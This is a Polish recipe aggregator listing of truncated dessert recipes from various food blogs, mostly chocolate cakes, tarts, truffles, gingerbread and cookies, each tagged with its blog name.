mąki  3 jajka  3 płaskie łyżeczki sody oczyszczonej ½ szkl.zimnego mleka  ½ łyżeczki soli 2 – 3 torebki przyprawy do piernika do przełożenia: powidła śliwkowe  masa marcepanowa, czekolada, masa orzechowa  polewa: czekolada albo lukier wg uznania 2 -5 tygodni przed świętami: Miód, cukier, przyprawy korzenne, smalec i masło podgrzać na wolnym ogniu, odstawić do wystygnięcia . Mąkę przesiać razem(...)papierem do pieczenia i równomiernie obciążyć. Zostawić na 2 – 3 dni w chłodnym miejscu (niekoniecznie w lodówce). 1 dzień przed świętami: Piernik przekroić w poprzek na 3 części.Oblać czekoladą i ozdobić wedle uznania. Odłożyć w chłodne miejsce. Piernik przechowywany w chłodnym miejscu zachowuje długo świeżość. Należy tylko dobrze owinąć w papier śniadaniowy i lnianą ściereczkę

Moje domowe kucharzenie
O soli. Sól morska i kamienna, przepisy na sól smakową – wykańczającą 164

dressingiem opartym na jogurcie lub śmietanie. Sól mieszamy w blenderze lub ucieramy w moździerzu razem z suszonymi kwiatami lawendy. Mieszanka nie wymaga suszenia. • SÓL KAWOWA – do deserów, lodów, czekolady. Do nacierania grubych steków wieprzowych i wołowych przed smażeniem lub posypania po usmażeniu. Sól mieszamy z dobrej jakości liofilizowaną kawą. Mieszanka nie wymaga suszenia. Grubość soli i kawy dowolna. • SÓL(...)solą, mieszanki tej nie trzeba już suszyć. Do mieszania z tak drobnym produktem polecam raczej drobno zmieloną sól. Możecie ją utłuc na proszek w moździerzu. • SÓL WANILIOWA – do czekolady, do gorącej czekolady, kakao, kawy. Świetna do truskawek, ananasa, lodów na bazie mleka i śmietany, kremów jajecznych jak creme brulee i budyń. Sól mielimy w moździerzu lub młynku razem z całą

Karo in the Kitchen
Piernik staropolski 122

konsystencji, nie mniej jest to jeden ze smaczniejszych wypieków jakie miałam okazję zjeść. Piernik przełożyłam masą śliwkową i masą morelową, które stanowiły ciekawy dodatek do wypieku. Całość polałam gorzką czekoladą i udekorowałam orzechami włoskimi. Jeśli chcecie również przygotować taki piernik na Święta to jest to ostatni dzwonek żeby przygotować ciasto! Składniki (na 1 blok prostokątny, forma do pieczenia(...)śliwek 1 łyżka dżemu figowego (lub powideł śliwkowych) 1 łyżka Amaretto Nadzienie morelowe: 100 gram suszonych moreli 2 łyżki dżemu morelowego 1 łyżka Limoncello (opcjonalnie) Polewa**: 150 gram gorzkiej czekolady 50 gram masła garść posiekanych orzechów włoskich do dekoracji Miód podgrzewamy z cukrem i masłem do rozpuszczenia składników. Studzimy. W misce mieszamy mąkę, proszek do pieczenia, przyprawę do piernika

Mango Papaja
Mini pączusie 114

Pyszne pączusie oblane lukrem i czekoladą. Składniki: 0,5 kilograma mąki 5 żółtek 50 gram świeżych drożdży 1 łyżeczka cukru 200 ml. letniego mleka 75 gram masła 75 gram cukru pudru szczypta soli 30 ml. wódki lub spirytusu Lukier: 150 gram cukru pudru  2-3 łyżki soku z cytryny 1-2 łyżki gorącej wody Dodatkowo: 1 tabliczka gorzkiej czekolady(...)papierowy aby usunąć nadmiar tłuszczu. Do miski wlewamy gorącą wodę i sok z cytryny, dodajemy cukier puder. Ucieramy mikserem na gładką jednolitą masę.Pączki smarujemy lukrem za pomocą pędzelka. Czekoladę rozpuszczamy w kąpieli wodnej i polewamy nią pączki. Pączki możemy posypać cukrem pudrem

Bajeczna Kuchnia
Krucha tarta z kremem i truskawkami 137

Pyszna krucha tarta kremem z serka mascarpone i białej czekolady z truskawkami i galaretką. Składniki: Ciasto kruche: 220 gram mąki pszennej 70 gram cukru pudru 3 żółtka 100 gram masła Krem: 250 gram serka mascarpone 100 gram białej czekolady Dodatkowo: 1 kilogram truskawek 1 galaretka truskawkowa tłuszcz do formy Sposób przygotowania: Z podanych składników zagniatamy ciasto kruche , zawijamy w folię(...)smarujemy tłuszczem , wylepiamy rozwałkowanym ciastem ,nakłuwamy widelcem .Wstawiamy do piekarnika nagrzanego do 180 stopni i pieczemy przez 15-20 minut. Serek mascarpone przekładamy do miski , miksujemy . Białą czekoladę rozpuszczamy w kąpieli wodnej i dodajemy do serka miksujemy . Krem wykładamy na upieczonej tarcie .Truskawki kroimy w plasterki , układamy jeden koło drugiego tak żeby nachodziły na siebie. Galaretkę rozpuszczamy

Bajeczna Kuchnia
Tarta malinowa 123

Pyszna i łatwa tarta z serkiem mascarpone i białą czekoladą.Polecam!!! Składniki: Ciasto: 330 gram mąki 100 gram cukru pudru 3 żółtka 150 gram masła Krem: 500 gram serka mascarpone 1 tabliczka białej czekolady 1 cukier waniliowy 2 łyżki cukru pudru Dodatkowo: Maliny Sposób przygotowania: Mąkę przesiewamy,dodajemy posiekane masło,cukier i żółtka, zagniatamy ciasto. Przekładamy do torebki foliowej(...)wałkujemy, wylepiamy nim formę, nakłuwamy widelcem. Pieczemy w piekarniku nagrzanym do 180 stopni przez 15-20 minut. Serek mascarpone przekładamy do miski, dodajemy cukier puder i cukier waniliowy, miksujemy. Czekoladę rozpuszczamy w kąpieli wodnej, dodajemy do serka, ponownie miksujemy.Masę wykładamy na ostudzone ciasto, układamy maliny

Bajeczna Kuchnia
Czekoladowe babeczki urodzinowe 99

proszku do pieczenia * 4 płaski łyżki kakao * 12 łyżek cukru trzcinowego * 150ml wody mineralnej gazowanej  * 100ml oleju rzepakowego * 2 jajka * łyżka ekstraktu waniliowego Ganasz czekoladowy : 2 tabliczki gorzkiej czekolady, 100ml kremówki * kolorowa posypka  Przygotowanie : Mokre składniki rozmieszać, suche składniki dokładnie wymieszać. Mokre przelać do suchych. Ciasto przelać do papilotek na 3/4 wysokości. Piec 25 minut w 200 stopniach(...)suchego patyczka. Wystudzić. Czekoladę posiekać, śmietankę zagotować i zalać nią czekoladę. Rozpuścić, przestudzić i ubić na krem. Udekorować babeczki i posypać kolorową posypką

Magiczne Życie Marty
SŁODKA KAMPANIA DR GERARD 127

Gerard tymi wspaniałymi wafelkami zdobył serca wielbicieli czekolady.Nie ma się jednak co dziwić.Sama zakochałam się w tych pryncypałkach.Są idealnie kruche,wypełnione puszystym nadzieniem i  otoczone wyborną czekoladą.Ciężko skończyć na jednym wafelku. MAFIJNE: to słodkie markizy,które mają potrójne,idealnie kruche herbatniki, przełożone są pysznym,aksamitnie gładkim i puszystym kremem...kilka wariantów smakowych do wyboru. MALTIKEKSY: często(...)wiemy sami na  co mamy ochotę...Draże czy ciasteczka? nie wiecie? Maltikeksy będą idealne.Wyglądają jak małe draże,ale wspaniale się je chrupie,otulone mleczną lub ciemną czekoladą albo lekkim jogurtem.Są rewelacyjne gdyż można je również wykorzystać jako dekorację tortu....można obłożyć nimi cały tort lub tylko jego górę..dekoracja łatwa a efektowna...naprawdę polecam PASJA: wspaniałe połączenie

Niespełnione zdolności kulinarne
Ptysie z kremem 98

Ptysie: 125 ml mleka 125 ml wody 100 g masła ½ łyżeczki soli 1 łyżka cukru pudru 150 g mąki 4 jajka 1 żółtko roztrzepane z łyżka mleka Czekolada: tabliczka czekolady 2 łyżki masła Krem 2 opakowania budyniu (ja użyłam waniliowego) 0,75ml mleka 100g masła (w temperaturze pokojowej) Wykonanie: Ptysie: Piekarnik nagrzać do 180 stopni. Dużą blachę wyłożyć papierem(...)Piec około 25 minut. Krem: ugotować budyń gdy będzie zimny wmiksować masło, krem nałożyć do rękawa cukierniczego i napełniać środek ptysi przebijając je od dołu końcówką rękawa. Całość polać czekoladą roztopioną z masłem

Pychotkaaa
Snikers wg Siostry Anastazji 207

mąki ziemniaczanej 1 łyżeczka proszku do pieczenia 5 białek masa 5 żółtek 1/2 szklanki słodkiego mleka 1/2 szklanki cukru kryształu 1 1/2 kostki masła dodatki 1 puszka mleka skondensowanego czekolada na polewę Wykonanie: Ciasto I Ubić białka z cukrem, dodać żółtka, a na końcu mąkę wymieszaną z proszkiem do pieczenia i kakao. Ciasto upiec przekroić na dwie części. Ciasto(...)żółtkową (można do smaku dodać spirytus). Przełożenie ciasta: Ciasto I (część) - 3/4 masy - ciasto II - mleko skondensowane - druga część ciasta I pozostała masa na wierzch. Posypać orzechami lub startą czekoladą. Ja natomiast całą masę dałam w środek a wierzch polałam 2 tabliczkami mlecznej czekolady które uprzednio roztopiłam w kąpieli wodnej. Źródło: 100 nowych ciast Siostry Anastazji

Pychotkaaa
ciasto marchewkowe z polewą z gorzkiej czekolady 145

szklanka oleju 1 szklanka cukru 100 g bakalii 2 łyżki koniaku 1 łyżeczka proszku do pieczenia 1 łyżeczka sody 2 łyżeczki przyprawy do piernika dodatkowo  100 g gorzkiej czekolady sposób wykonania Marchewki myjemy, obieramy i   ścieramy na  tarce o dużych oczkach.  Zalewamy bakalie koniakiem i  odstawiamy na dwadzieścia minut (aż  bakalie zmiękną(...)patyczek nie może być oklejony ciastem). Wyłączamy piekarnik, uchylamy jego drzwiczki , zostawiając ciasto w piekarniku jeszcze przez pięć minut Ciasto wyjmujemy z piekarnika i na jeszcze ciepłym układamy kawałki czekolady. Po kilku minutach ( kiedy czekolada zostanie ogrzana przez ciasto), nożem rozkładamy czekoladową masę po wierzchu ciasta. Następnie ciasto studzimy i podajemy

Miód i pieprz
Ciasto Gargamel 486

waniliowego własnej roboty) Masło utrzeć z cukrem pudrem i cukrem waniliowym na gładką puszystą masę, a następnie stopniowo dodawać śmietanę. Polewę zrobiłam własną 100 g śmietany kremówki 100 g czekolady Śmietanę doprowadzić do wrzenia , zdjąć z palnika i dodać pokruszoną czekoladę. Wymieszać aż czekolada się rozpuści stale mieszając. składanie ciasta ciasto piernikowe 1/2 masy ciasto bakaliowo-jabłkowe 1/2 masy ciasto

O kuchni z uczuciem
Jesienny jaglarnik, czyli dyniowy sernik z kaszy jaglanej 139

musicie spróbować tego sernika. Jest mięciutki, dosłownie rozpływa się w ustach, a do tego baaardzo dyniowy. Smak dyni został lekko przełamany pomarańczą. Kakaowy, daktylowy spód dodaje mu słodyczy, a czekolada na wierzchu dopełnia dzieła. Co ciekawe, z dnia na dzień jest coraz lepszy! Aż żal, kiedy się kończy.. Czego potrzebujemy? (na tortownicę o średnicy ok. 22cm) Na spód: - szklanka(...)tego przepisu ) - pół łyżeczki kurkumy ( dla koloru, można pominąć ) - łyżeczka cynamonu - pół szklanki cukru - 6 łyżeczek żelatyny ( lub dwie łyżeczki agar agar ) - sok z jednej pomarańczy Polewa ( opcjonalnie) : - czekolada mleczna lub gorzka Przygotowanie: 1. Daktyle moczymy, aby były miękkie. Następnie blendujemy je z kakao, wiórkami i mlekiem. Na koniec dodajemy pokruszone herbatniki. Masę przekładamy na spód tortownicy wyłożonej papierem

two broke sisters
Tort orzechowy - dla diabetyków :) 521

Należy jednak pamiętać o tym, że orzechy są bogatym źródłem tych dobrych kwasów tłuszczowych: z rodziny omega-3 i omega-6. Ponadto jogurt naturalny dostarcza sporej porcji białka, a czekolada (o 90% zawartości kakao) po prostu sprawia, ze po zjedzeniu kawałka jestem szczęśliwa ;) Starsza, ale szczęśliwa :) I mam nadzieję, że nieco mądrzejsza! ;) https://www.youtube.com/watch?v=sHWcgPaUPcs Jedna porcja tortu (nasączonego wódką(...)orzechowego 4 - 5 łyżek ksylitolu szczypta soli sok wyciśnięty z jednej cytryny 100 g orzechów włoskich 10 g żelatyny Posypka czekoladowo-orzechowa: 100 g orzechów włoskich 200 g gorzkiej czekolady SPOSÓB PRZYGOTOWANIA: Biszkopt: Oddzielamy białka od żółtek. Białka ubijamy ze szczyptą soli na sztywną pianę. Dodajemy porcjami ksylitol ciągle ubijając. Następnie dodajemy po jednym żółtku ciągle ubijając. Na koniec dodajemy

W kuchni Katie
sernik z kawą i kardamonem 530

jadamy ostatnio częściej niż kotlety:) Bardzo lubię połączenie sera i lekkiej masy o jakimś konkretnym, wyraźnym smaku. Tym razem postawiłam na lekko korzenny akcent. Połączyłam smak kawy, kardamonu i czekolady. Całość wyszła lekka i puszysta, nieprzesłodzona więc można było się skusić na duży kawałek. Przygotowanie tego ciasta jest dość pracochłonne ale można je rozłożyć na dwa dni- pierwszego upiec biszkopt(...)jajek 1 szklanka cukru 2 opakowania budyniu waniliowego 1/2 szklanki oleju skórka z 1/2 cytryny na wierzch: 300 ml śmietanki kremówki 1 opakowanie śmietan-fixu kilka kostek gorzkiej czekolady łyżka cukru pudru Przygotować biszkopt: Białka oddzielić od żółtek i ubić na pianę. Następnie dodawać cukier a później żółtka. Mąkę przesiać z proszkiem do pieczenia i delikatnie wymieszać z masą jajeczną

Domowa Cukierenka-Domowa Kuchnia
Banany w cieście 173

Prawdziwa bomba kaloryczna. Tak smaczna, że trudno się od niej oderwać. Banany pieczone w cieście francuskim oblane polewą z białej czekolady. Nie znajdą się na liście stałych posiłków i deserów, ale od czasu do czasu można zaszaleć, my tego szaleństwa z pewnością nie żałujemy, bo było mega pysznie! ;-) 4 banany ciasto francuskie sok z cytryny 1 tabliczka białej czekolady(...)zawijamy w rulon. Górę każdego ciasta z bananem smarujemy jajkiem. 3. Pieczemy w piekarniku rozgrzanym do 210 stopni przez około 15 minut. 4. W rondelku rozpuszczamy masło dodając czekoladę zdejmujemy rondel ściągamy z ognia, cały czas mieszając. Polewamy banany w cieście

Szefowa kuchni
Ciasteczka kokosowe z kawałkami białej czekolady 114

tracić zbyt wiele cennego czasu na siedzenie w kuchni. Ciasteczka są delikatne, kruche i chrupiące. Mają lekki kokosowy smak i aromat, który idealnie łączy się z wanilią i białą czekoladą. Z przepisu wychodzi ok. 30 ciasteczek. Składniki: 300 g mąki pszennej 2 łyżeczki proszku do pieczenia 75 g wiórków kokosowych 120 g masła 1 szklanka cukru 1 łyżeczka esencji waniliowej(...)duże jajko 90 g białej czekolady posiekanej na kawałki spora szczypta soli Wykonanie: Piekarnik rozgrzewamy do temp. 180 stopni. W misce umieszczamy przesianą mąkę z proszkiem do pieczenia i wiórkami kokosowymi. W innym naczyniu ucieramy dokładnie masło z cukrem i esencją waniliową na jasną, kremową masę. Dodajemy jajko i mieszamy do połączenia. Zmniejszamy obroty miksera i stopniowo dosypujemy mąkę

MyCookBook.pl
Czekoladowiec z czereśniami 80

niewielka ciasta, sprawia, że możecie sięgnąć po kolejny kawałek z mniejszymi wyrzutami sumienia ;) Koniecznie musicie spróbować tego połączenia, póki sezon czereśniowy trwa! Składniki: 400 g czereśni 150 g gorzkiej czekolady 4 jajka 150 g miękkiego masła (lub margaryny) 100 g cukru szczypta soli 6 łyżek mąki cukier puder (do oprószenia) Wykonanie: Czereśnie myjemy i usuwamy z nich pestki. Kilkanaście(...)ogonkami) zostawiamy (najlepiej również od razu usunąć z nich pestki). Piekarnik rozgrzewamy do 180 stopni. Tortownicę o średnicy 23-24 cm smarujemy masłem i oprószamy mąką. Czekoladę łamiemy na kawałki i roztapiamy w kąpieli wodnej. Oddzielamy białka od żółtek. Masło miksujemy z połową cukru na puszystą masę, dodajemy roztopioną czekoladę oraz żółtka roztrzepane ze szczyptą soli. Z białek ubijamy sztywną

MyCookBook.pl
Ciasto Bounty 199

dawna. Batoniki a'la Bounty robiłam już wielokrotnie, były tak pyszne, że zakochaliśmy się w nich bez pamięci. Pyszny, gęsty, kokosowy krem, pomiędzy delikatnym biszkoptem i z dużą ilością czekolady na wierzchu. Mniam! Składniki: (na blaszkę 20 x 20cm) BISZKOPT: 200g miękkiego masła 4 jajka 1 szklanka cukru 1 1/2 szklanki mąki 1 1/2 łyżeczki proszku do pieczenia 3 łyżki(...)kakao 1 łyżka ekstraktu waniliowego KREM: 1/2 l mleka 6 łyżek kasy manny 1/2 szklanki cukru 200g masła 300g wiórków kokosowych POLEWA: 300g czekolady (u mnie z orzechami) 5 łyżek mleka 1 łyżka masła Przygotowanie: BISZKOPT: Miękkie masło zmiksować z cukrem na puszystą masę. Dodawać po jednym żółtku, miksować. Następnie przesiać do masy mąkę, proszek i kakao, dolać ekstrakt, delikatnie

Cakes By Kejt
Gruszki w czekoladzie 116

SKŁADNIKI: 4 gruszki  gorzka czekolada płaska łyżeczka cynamonu łyżeczka czubata cukru 5 goździków kawałek cytryny SPOSÓB WYKONANIA: Gruszki obrać ze skórki, pozostawić ogonek u góry jako dekoracje. Wydrążyć gniazda nasienne. Przygotować kąpiel wodną.  Do garnka wlać wodę, tyle żeby po włożeniu gruszek sięgała na 3/4. Dodać cynamon , cukier, cytrynę i goździki. Zagotować. Dokładnie wymieszać , włożyć gruszki ( na leżąco(...)Gotować do miękkości. Ja swoje gotowałam ok. 10 minut, ale gruszki były miękkie. Wyciągnąć i przestudzić. Nadziać dżemem. Może to być wiśnia czy malina. Rozpuścić gorzką czekoladę i polać nią gruszki. Ja nie miałam czekolady , zastąpiłam ją polewą. Gruszki były bardzo dobre, z pewnością będę wracać do tego typu deseru

Darcia w kuchni
czekolada na gorąco 109

przygotowania czekolady na gorąco użyłam: 0,5litra mleka 250 ml śmietanki 36 % 200 gram gorzkiej czekolady wykonanie: Mleko zagotowałam razem ze śmietanką. gorzka czekoladę rozkruszyłam na mniejsze kawałki , stopniowo dodawałam do gotującego się mleka, cały czas mieszając. Gotowałam kilka minut , aż lekko zgęstniała

Darcia w kuchni
Orzechowo - kardamonowe ciastka z Asyżu! 143

wyszłam. Nie sądziłam, że smak mnie zaskoczy. I jak się bardzo zaskoczyłam, ciastka zupełnie nie przypominały tych tradycyjnych owsianych!  Po otwarciu tej torebeczki uniósł się niesamowity aromat czekolady, to tak jakby nagle ktoś odkręcił słoik z czekoladą i orzechami. Ciastka były idealnie kruche, ale nie suche, miały grubo posiekane orzechy włoskie, pistacje i laskowe. Bardzo, ale to bardzo(...)smak próbowałam dzisiaj odtworzyć! Zapraszam! SKŁADNIKI: - 400 g mąki włoskiej typ 00 - 200 g masła - 2 żółtka - 150 g grubo posiekanych orzechów laskowych, włoskich, pistacji - 4 czubate łyżki czekolady w proszku - 1/5 łyżeczki kardamonu sproszkowanego - 1/6 łyżeczki imbiru - 3 szczypty cynamonu - 2 łyżki syropu z agawy - 1 płaska łyżeczka proszku do pieczenia - łyżka śmietany - łyżka lodowatej wody W/w składniki zagniatamy

SMYKWKUCHNI
ciasto cynamonowe z jabłkami w budyniu 133

smaków. Ciasto lekkie i bardzo aromatyczne. Jeśli komuś może wydawać się zbyt suche, blaty ciasta można naponczować herbatą. *foremka 25*34 cm Składniki: na ciasto czekoladowe: 100 g gorzkiej czekolady 125 g masła 1/2 szklanki cukru pudru 6 jajek 300 g mąki 2 łyżeczki proszku do pieczenia łyżka kakao na biszkopt: 3 jajka 3/4 szklanki cukru 3/4 szklanki mąki(...)pieczenia 1 łyżka cynamonu na nadzienie jabłkowe: 1 kg jabłek 2 opakowania budyniu waniliowego 1/2 l mleka 4 łyżki cukru 125 g masła łyżeczka cynamonu Przygotować ciasto czekoladowe: czekoladę rozpuścić nad parą. Masło, cukier puder i kakao rozpuścić i wystudzić. Dodać żółtka, czekoladę, przesianą mąkę z proszkiem do pieczenia i zmiksować. Białka ubić na pianę i delikatnie połączyć z ciastem

Domowa Cukierenka-Domowa Kuchnia
Pychotka kokosowo- cappuccinowa 1442

cappuccino: 2 opakowania budyniu śmietankowego, 500 ml mleka, 1 opakowanie cukru waniliowego, 200g masła, 3 łyżki cukru pudru, 4 łyżki cappuccino śmietankowego, 1 kieliszek spirytusu, Dodatkowo: 1 tabliczka gorzkiej czekolady, wiórki kokosowe do posypania. PRZYGOTOWANIE: 1. Biszkopt : Białka ubić na sztywną pianę. Stopniowo dodawać cukier oraz żółtka. Nie przerywając ubijania dodawać olej, mąkę, kakao, proszek do pieczenia oraz ocet. Ciasto(...)oraz spirytus. Utrzeć. 4. Połowę masy wyłożyć na jeden blat biszkoptu, wyrównać. Przykryć ciastem kokosowym. Na cieście kokosowym rozsmarować drugą część masy cappuccino. Przykryć drugim blatem biszkoptu.  5. Czekoladę rozpuścić nad kąpielą wodną. Czekoladą polewać wierzch ciasta. Gotowe ciasto oprószyć wiórkami kokosowym i wstawać na 2 godziny do lodówki

Tradycyjna kuchnia Kasi
Mus czekoladowo-orzechowy w kokilkach z ciasta filo 113

efektowny, zasmakuje nawet najwybredniejszemu smakoszowi. Składniki na 12 sztuk: - 3 płaty ciasta filo, - olej, - 1 opakowanie tofu jedawbistego miękkiego, - 2 duże łyżki orzechowego masła czekoladowego, - 1/2 tabliczki gorzkiej czekolady, - 2 płaskie łyzki agar-agar, - 2 łyżki oleju kokosowego, - ew. coś do posłodzenia (melasa, syrop z agawy itp.) Wykonanie: Jeśli macie wysokoobrotowy blender wystarczy wrzucić składniki musu i blendować(...)czekolada się rozpuści i całość ładnie połączy. Bez takiego blendera trzeba zmiksować tofu, masło orzechowe, agar, olej kokosowy a czekoladę rozpuścić w misce nad garnkiem z gotującą się wodą (lub w mikrofali) i dodać ją do pozostałych składników, dokładnie mieszając. Ciasto filo tniemy ostrym nożem na ok 12 cm kwadraty. Na 1 kokilkę potrzebujemy 4 kwadraty, pierwszy smarujemy przy pomocy

Co na wege obiad?
Rafaello podchmielone 119

wiórek kokosowych 50 ml wódki 200 g herbatników 200 g masła aromat migdałowy lub rumowy orzechy laskowe pół szkl śmietanki 30 % tabliczka białej czekolady Wiórki wsypać do słoika , wlać wódkę i zamknięte zostawić na dobę od czasu do czasu mieszać (ja użyłam wiórek pozostałych z przygotowania likieru)  Herbatniki utrzeć w pojemniku robota aż zupełnie się rozkruszą, dodać masło, połowę(...)robota po czym wyjąć masę i jeszcze przemieszać ręką. Formować małe kuleczki, wielkości orzecha włoskiego , do środka wkładać orzech laskowy. Wstawić do lodówki do schłodzenia. Wiórki wsypać do miseczki. Czekoladę włożyć do małego rondelka razem ze śmietanką, ciągle mieszając rozpuścić i zagotować. Gotować chwilkę, ok 3 min. Przestudzić a następnie moczyć kulki w czekoladzie i otaczać wiórkami, Ponownie wstawić

Gotowanie jest łatwe
Czekoladowe trufle 108

alkohol (wódki,likieru), ja nie dodałam ze względu na dzieci. Takie trufle można dodatkowo ozdobić, ładnie zapakować do pudełeczka i podarować komuś w prezencie. Polecam! Składniki: 200 g gorzkiej czekolady 200 ml śmietany 30% 2 łyżki masła kakao Wykonanie: Czekoladę połamać (posiekać), śmietanę zagotować, zdjąć z ognia dodać czekoladę, masło i dokładnie wymieszać, aż powstanie gęsta masa. Ostudzić i wstawić

magiczna kuchnia Kasi
Ciastka owsiane z orzechami i czekoladą 188

się ekspresowo (tak tak, prawie sam ;) ), co przy małym dziecku jest dodatkowym atutem. Można też się pokusić, tak jak my, o wspólne pieczenie!   Ciastka owsiane z orzechami i czekoladą 1 szklanka płatków owsianych 1 szklanka mąki pszennej 1/2 szkl. cukru kokosowego lub syropu daktylowego 1 płaska łyżeczka sody 100g masła 1 jajko 50g gorzkiej czekolady (co najmniej 75% kakao(...)poszatkowanych orzeszków ziemnych niesolonych W jednej misce mieszamy suche składniki (mąkę, płatki, sodę, słodzidło) i dolewamy do nich roztopione masło, wbijamy jajko i mieszamy. Na koniec dodajemy poszatkowaną grubo czekoladę i orzechy. Wszystko zagniatamy i formujemy nieduże kulki (wielkości orzecha włoskiego) dobrze ściskając, bo ciasto lubi się rozłazić. Układamy na lekko oprószonej mąką blasze z odstępami, bo się trochę rozpłyną

Przepysznik - BLW i nie tylko
Ciasteczkowe ciasto bez pieczenia 425

nich. Składniki: 400 g ciastek herbatników 1/2 szklanki orzechów włoskich 3/4 szklanki cukru 3 płaskie łyżki kakao 3/4 szklanki wody 200 g masła 100 g śmietany kremówki 100 g czekolady mlecznej Herbatniki pokruszyć rękoma na drobne kawałki, orzechy posiekać nożem. Wszystko wsypać do jednej miski i wymieszać. Do małego rondelka włożyć masło, cukier, kakao i wodę i wszystko zagotować(...)Przełożyć do tortownicy (18 cm ) i ubić łyżką. wstawić do lodówki, aby ciasto stężało. W małym rondelku doprowadzić do wrzenia śmietanę, zdjąć z palnika i dodać pokruszoną w kostki czekoladę. Mieszać do całkowitego rozpuszczenia się czekolady. Odstawić chwilę do wystygnięcia, a następnie polać ciasto. Odstawić najlepiej na całą noc do lodówki. Inspiracja https://www.facebook.com/tastemade/

O kuchni z uczuciem
Tiramisu kokosowe 107

font:minor-bidi;} składniki na 3-4 porcje 330 ml śmietanki kremówki 30% 1 paczka okrągłych biszkoptów puszka mleczka kokosowego wiórki kokosowe 2 łyżki cukru pudru połowa tabliczki gorzkiej czekolady   /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat(...)kokosowych oraz 3 łyżki mleczka kokosowego. Oddzielamy wodę kokosową od śmietanki kokosowej. Zamaczamy 3 biszkopty w wodzie kokosowej i układamy na dnie pucharka, następnie przekładamy kremem śmietanowym, posypujemy startą czekoladą. Z drugą warstwą postępujemy tak samo ( trzy biszkopty, śmietana, starta czekolada) tylko posypujemy jeszcze wiórkami kokosowymi. Wkładamy do lodówki na 1 godzinę

noteskulinarnyfiga
Wyniki konkursu Pyszne na słodko 142

melasy. Najlepiej podać od razu, żeby grissini zachowały swoją chrupkość ale i takie namoknięte też są smaczne Emotikon smile Deser czekoladowy z serem pleśniowym Franulki Deser: 250 g gorzkiej czekolady (71%) 175 g masła 125 g cukru pudru 5 jajek 75 g mąki 1 ser pleśniowy łagodny dobrze rozpuszczający się przy podgrzewaniu Sos czekoladowy: 150 g cukru 30 g miodu(...)ciemnego kakao Przygotowanie: Przygotowanie: Czekoladę gorzką rozpuścić w kąpieli wodnej razem z masłem. Jajka ubić z cukrem (do białości). Gdy masa jest gotowa wymieszać delikatnie z mąką, a następnie połączyć z masłem i czekoladą. Masą napełniać foremki wysmarowane masłem, a w środek wkładać kawałek sera pleśniowego. Piec w temperaturze 200 stopni około 10 min. Ciasto powinno być w środku ,,niedopieczone

Moje domowe kucharzenie
Tort tiramisu 173

kawy - 100 ml likieru amaretto Składniki na poncz wymieszać ze sobą. - dodatkowo ciemne kakao do oprószania warstw kremu.  Polewa: - 200 gr masy krówkowej ( pół puszki ) - 100 gr gorzkiej czekolady ( o zawartości min. 60% kakao ) Czekoladę rozpuścić w kąpieli wodnej. Następnie partiami dodawać do niej masę krówkową. Mieszać do połączenia składników. Obłożenie: - rurki waflowe ( puste w środku )  - 3 łyżki(...)krem wymieszać z dżemem. Posmarować boki tortu. Do kremu przykleić ściśle ruski waflowe. Całość ustabilizować wstążką. Schłodzić ok. godziny przed podaniem.  Swój torcik dodatkowo udekorowałam różami z  czekolady ( klik ) . Ich kształt wycięłam przy pomocy wykrojników.  Zdjęcia potraw są mojego autorstwa. Ich kopiowanie wymaga mojej zgody

kawawszklance
Straszne ciasto na Halloween 314

Składniki: biszkopt czekoladowy: pół szklanki mleka pół tabliczki gorzkiej czekolady pół szklanki ciemnego kakao szklanka mąki pół łyżeczki sody oczyszczonej pół łyżeczki proszku do pieczenia 1 jajko   pół szklanki cukru   ¼ szklanki oleju pół szklanki kwaśnej śmietany biszkopt szpinakowy 25 dag mrożonego szpinaku (drobny, nie w liściach) niecała szklanka cukru   2 jajka   pół szklanki oleju szklanka mąki(...)śmietany kremówki śnieżka   2 łyżki cukru pudru 2 galaretki o smaku cytrynowym dodatkowo: żelki w kształcie gałek ocznych do ozdoby Sposób przygotowania: Mleko podgrzewamy z połamana czekoladę do czasu aż się rozpuści. Studzimy. Mieszamy sypkie składniki: mąkę, kakao, proszek do pieczenia, sodę oczyszczoną. Jajko ubijamy mikserem, pod koniec dodając cukier. Wlewamy śmietanę, olej. Dalej miksujemy. Dodajemy czekoladę z mlekiem

Pobite gary Barbary
Domowa biała czekolada z orzechami laskowymi/wiórkami kokosowymi 102

www.facebook.com/Di.gotuje http://digotuje.blogspot.com   Zainspirowałam się przepisem z blogu: Moje pasje.   Jeśli miałabym wybierać spośród wszystkich rodzajów czekolad - zawsze będzie to biała. Miałam kilka typów "najlepsiejszej", ale od wczoraj prym wiedzie domowa. Właśnie ta domowa - z tego przepisu!  Jest przepyszna, delikatna, rozpływająca się w ustach... Co prawda podczas jej łamania nie słychać charakterystycznego trzasku, ale dla mnie(...)taka konsystencja jest idealna! Czekoladę można zrobić z ulubionymi dodatkami (wg własnych proporcji). Poniżej przedstawiam przykładową wersję - z orzechami laskowymi i wiórkami kokosowymi. 100g masła 1/2 szklanki cukru 1 łyżeczka cukru waniliowego 1/2 szklanki śmietanki 30% 200g mleka w proszku Dodatkowo: 120g orzechów laskowych (łuskanych)  lub/i 5-6 łyżek wiórek kokosowych    Masło z cukrami rozpuścić (na małym

Di gotuje
Babeczki maślankowe nadziane :) 112

jajka 2 szklanki nie pełne maki pszennej 1 szklanka maślanki 1/2 szkl cukru 1/4 szkl oleju 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody zapach waniliowy owoce lub kostki czekolady do nadzienia  Jajka miksujemy z cukrem na puszystą masę. Dodajemy następnie przesianą mąkę z proszkiem i sodą. Wlewamy maślankę oraz podczas krótkiego mieszania, cienkim strumieniem olej. Masę najpierw wlewamy(...)łyżeczce na dno każdej foremki, następnie układamy owoce lub czekoladę ( u mnie to były wiśnie z nalewki oraz czekolada biała i gorzka ). Zakrywamy owoce lub/i czekoladki resztą ciasta do 2/3 wysokości foremek. Pieczemy w 190 stopniach przez 25-30 min. Babeczki są najlepsze pierwszego i drugiego dnia:)   Smacznego

Gotowanie...to proste !
Kruche ciasto ze śliwkami, kremem śmietankowym i czekoladową bezą 485

